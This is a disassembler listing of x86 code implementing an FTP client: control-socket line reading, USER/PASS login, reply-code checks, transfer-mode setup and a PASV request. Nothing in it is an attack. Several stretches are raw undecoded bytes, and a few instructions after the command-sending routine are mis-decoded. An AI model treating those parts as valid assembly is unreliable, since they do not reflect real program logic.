loc_42C8CD:				; CODE XREF: sub_42C810+A4j
		push	offset aTcp	; "tcp"
		push	esi
		call	sub_436F96
sub_42C810	endp

; ---------------------------------------------------------------------------
		mov	dx, [eax+8]
		mov	[esp+16h], dx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C8E1	proc near		; CODE XREF: sub_42C810+BBj
		push	ebp
		call	sub_436EF4
sub_42C8E1	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		mov	[esp+18h], eax
		jnz	short loc_42C92D
		push	ebp
		call	sub_436EE8
; ---------------------------------------------------------------------------
		dw 0C33Bh
		dd 48681875h, 90004454h, 80A4EDE8h, 4C48377h, 5E5FC033h
		dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
		dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
		movsb


loc_42C92D:				; CODE XREF: ___:0042C8EEj
		push	ebp
		mov	ebp, dword_50FAC4
		call	ebp
		add	esp, 4
		push	6
		push	1
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		dd 0FF83F88Bh, 681875FFh, 445440h, 0A49CE890h, 0C4837780h
		dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
		dd 0FFFF68h, 0DE85700h,	830000A6h, 775FFF8h, 44543068h
		dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
		dd 52306807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
		dd 83F08B77h, 0F33B08C4h, 28681E75h, 90004454h,	80A435E8h
		dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
		dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
		dd 54286824h, 0E8900044h, 7780A402h, 5704C483h,	0A50DE8h
		dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh,	326A56C3h
		dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
		dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
		dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
		dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
		dd 1B85D5Eh, 5B000000h,	0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB10	proc near		; CODE XREF: ___:0042D266p
					; sub_42DFD0+70p

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CB4A


loc_42CB32:				; CODE XREF: sub_42CB10+8Ej
					; sub_42CB10+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CB4A:				; CODE XREF: sub_42CB10+20j
		mov	eax, dword_50E3CC
		mov	ebx, dword_50FA80
		cmp	eax, 1
		jle	short loc_42CB6E
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS	; "%s"
		push	eax
		call	ebx
		add	esp, 0Ch


loc_42CB6E:				; CODE XREF: sub_42CB10+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_42CBEE
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	near ptr 77C47A90h
		nop
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_42CC50
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CB32
		mov	ebp, dword_50FAD4


loc_42CBA6:				; CODE XREF: sub_42CB10+D7j
		cmp	dword_50E3CC, 1
		jle	short loc_42CBC4
		mov	edx, dword_50FA84
		push	esi
		add	edx, 40h
		push	offset aS	; "%s"
		push	edx
		call	ebx
		add	esp, 0Ch


loc_42CBC4:				; CODE XREF: sub_42CB10+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42CBEE
		push	edi
		push	100h
		push	esi
		call	sub_42CC50
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42CBA6
		jmp	loc_42CB32
; ---------------------------------------------------------------------------


loc_42CBEE:				; CODE XREF: sub_42CB10+62j
					; sub_42CB10+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_42CB10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CC50	proc near		; CODE XREF: sub_42CB10+15p
					; sub_42CB10+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_42CC80
		cmp	eax, 1
		jz	short loc_42CC80
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC80:				; CODE XREF: sub_42CC50+1Ej
					; sub_42CC50+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_42CC92
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CC92:				; CODE XREF: sub_42CC50+36j
					; sub_42CC50+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_42CCE3
		cmp	ebx, edi
		jge	short loc_42CCA0
		lea	edi, [ebx-1]


loc_42CCA0:				; CODE XREF: sub_42CC50+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		nop
		call	near ptr 77C46170h
		add	esp, 10h
		test	eax, eax
		jz	short loc_42CCB9
		mov	edi, eax
		sub	edi, ebp


loc_42CCB9:				; CODE XREF: sub_42CC50+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_42CD6A


loc_42CCE3:				; CODE XREF: sub_42CC50+47j
		cmp	ebx, 1
		jz	loc_42CDBD
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_42CD0B
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_42CD0B:				; CODE XREF: sub_42CC50+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_42CDD0
		push	esi
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	loc_42CE02
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CDEC
		test	eax, eax
		jnz	short loc_42CD4F
		mov	[esp+18h+var_4], 1


loc_42CD4F:				; CODE XREF: sub_42CC50+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_42CC92
; ---------------------------------------------------------------------------


loc_42CD6A:				; CODE XREF: sub_42CC50+8Dj
		sub	ebp, 2
		mov	esi, offset asc_445220 ; "\r\n"
		mov	eax, ebp


loc_42CD74:				; CODE XREF: sub_42CC50+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		test	cl, cl
		jz	short loc_42CD98
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42CD9C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42CD74


loc_42CD98:				; CODE XREF: sub_42CC50+130j
		xor	eax, eax
		jmp	short loc_42CDA1
; ---------------------------------------------------------------------------


loc_42CD9C:				; CODE XREF: sub_42CC50+12Cj
					; sub_42CC50+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42CDA1:				; CODE XREF: sub_42CC50+14Aj
		test	eax, eax
		jnz	short loc_42CE02
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDBD:				; CODE XREF: sub_42CC50+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDD0:				; CODE XREF: sub_42CC50+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_42CE02
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: sub_42CC50+EDj
		push	offset aRead	; "read"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_42CE02:				; CODE XREF: sub_42CC50+D2j
					; sub_42CC50+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_42CC50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42CC50+C8p
					; sub_42DC70:loc_42DC9Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_42CF63
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_42CF63
		cmp	eax, 2
		jnz	short loc_42CEB5
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_42CEB9
; ---------------------------------------------------------------------------


loc_42CEB5:				; CODE XREF: sub_42CE80+2Dj
		lea	ebx, [esp+118h+var_104]


loc_42CEB9:				; CODE XREF: sub_42CE80+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_42CEC0:				; CODE XREF: sub_42CE80+98j
		cmp	eax, 40h
		jnb	short loc_42CED5
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_42CED5:				; CODE XREF: sub_42CE80+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_436F12
; ---------------------------------------------------------------------------
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CF1A
		test	eax, eax
		jg	short loc_42CF51
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_42CF56
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_42CEC0
; ---------------------------------------------------------------------------


loc_42CF1A:				; CODE XREF: sub_42CE80+79j
		push	100h
		xor	edi, edi
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		nop
		call	near ptr 77C371FAh
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF51:				; CODE XREF: sub_42CE80+7Dj
		mov	edi, 1


loc_42CF56:				; CODE XREF: sub_42CE80+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_42CF63:				; CODE XREF: sub_42CE80+19j
					; sub_42CE80+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_42CE80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CFC0:				; CODE XREF: ___:00401410j
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42D06F	; default
		jmp	off_42D074[eax*4] ; switch jump


loc_42CFD7:				; DATA XREF: ___:off_42D074o
		mov	eax, [esp+8]	; jumptable 0042CFD0 case 0
		cmp	eax, 1
		jz	short loc_42CFE9
		cmp	eax, 2
		jnz	loc_42D06F	; default


loc_42CFE9:				; CODE XREF: ___:0042CFDEj
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42CFF8:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	edx, [esp+0Ch]	; jumptable 0042CFD0 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D00B:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		push	esi		; jumptable 0042CFD0 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42D04C:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42D05F:				; CODE XREF: ___:0042CFD0j
					; DATA XREF: ___:off_42D074o
		mov	eax, [esp+0Ch]	; jumptable 0042CFD0 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42D06F:				; CODE XREF: ___:0042CFCAj
					; ___:0042CFE3j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_42D074	dd offset loc_42CFD7	; DATA XREF: ___:0042CFD0r
		dd offset loc_42CFF8	; jump table for switch	statement
		dd offset loc_42D00B
		dd offset loc_42D04C
		dd offset loc_42D05F
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D0D0	proc near		; CODE XREF: sub_402243j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_42D161
		mov	edi, dword_50FA60
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42D13D
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D13D:				; CODE XREF: sub_42D0D0+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_42D161:				; CODE XREF: sub_42D0D0+1Bj
					; sub_42D0D0+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_42D0D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D1A0	proc near		; CODE XREF: sub_42D0D0+51p
					; sub_42D0D0+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_42D1C3
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D1C3:				; CODE XREF: sub_42D1A0+15j
		mov	eax, dword_50E3CC
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42D1EC
		mov	eax, dword_50FA84
		push	esi
		add	eax, 40h
		push	offset aS_0	; "%s\n"
		push	eax
		nop
		call	near ptr 77C40E13h
		add	esp, 0Ch


loc_42D1EC:				; CODE XREF: sub_42D1A0+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_42D20C
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D20C:				; CODE XREF: sub_42D1A0+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_443CD4
		push	ecx
		call	near ptr 77C3F931h
		nop
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_436F00
sub_42D1A0	endp

; ---------------------------------------------------------------------------
		db 85h
; ---------------------------------------------------------------------------
		sar	byte ptr [edi+1Ah], 68h
		lodsb
		push	esp
		inc	esp
		add	al, ch
		movsd
		wait
		xor	byte ptr [edi-70h], 83h
		les	eax, [ebx+esi]
		rcr	byte ptr [edi+5Eh], 5Bh
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		mov	ecx, [esp+114h]
		push	ebx
		push	ecx
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D2C0	proc near		; CODE XREF: sub_401F55j

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_42D30C
		cmp	edi, 4
		jz	short loc_42D2E6
		cmp	edi, 3
		jnz	short loc_42D30C


loc_42D2E6:				; CODE XREF: sub_42D2C0+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		nop
		call	near ptr 77C3F931h
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D30C:				; CODE XREF: sub_42D2C0+1Aj
					; sub_42D2C0+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, dword_50FA60
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_4454F4
		push	edx
		call	ebp
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_42D1A0
		add	esp, 18h
		test	eax, eax
		jz	loc_42D4CE
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42D4BF	; default
		jmp	off_42D4DC[eax*4] ; switch jump


loc_42D358:				; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454EC ; jumptable 0042D351 case 1
		mov	dl, byte_4454F0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D373:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	eax, dword_4454E4 ; jumptable 0042D351 case 2
		mov	cl, byte_4454E8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D38D:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	edx, dword_4454DC ; jumptable 0042D351 case 3
		mov	al, byte_4454E0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_42D3C0
; ---------------------------------------------------------------------------


loc_42D3A7:				; CODE XREF: sub_42D2C0+91j
					; DATA XREF: ___:off_42D4DCo
		mov	ecx, dword_4454D4 ; jumptable 0042D351 case 4
		mov	dl, byte_4454D8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_42D3C0:				; CODE XREF: sub_42D2C0+B1j
					; sub_42D2C0+CBj ...
		test	esi, esi
		jz	short loc_42D413
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42D4CE
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_42D413:				; CODE XREF: sub_42D2C0+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_42D580
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42D4CE
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42D468
		mov	eax, [esi]
		push	eax
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D468:				; CODE XREF: sub_42D2C0+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42D4AF
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_42DA60
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jnz	short loc_42D4AF
		mov	ecx, [esi]
		push	ecx
		call	sub_401BDB
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4AF:				; CODE XREF: sub_42D2C0+1B8j
					; sub_42D2C0+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42D4BF:				; CODE XREF: sub_42D2C0+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp
		add	esp, 0Ch


loc_42D4CE:				; CODE XREF: sub_42D2C0+7Fj
					; sub_42D2C0+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_42D2C0	endp

; ---------------------------------------------------------------------------
		align 4
off_42D4DC	dd offset loc_42D358	; DATA XREF: sub_42D2C0+91r
		dd offset loc_42D373	; jump table for switch	statement
		dd offset loc_42D38D
		dd offset loc_42D3A7
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42D580	proc near		; CODE XREF: sub_42D2C0+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
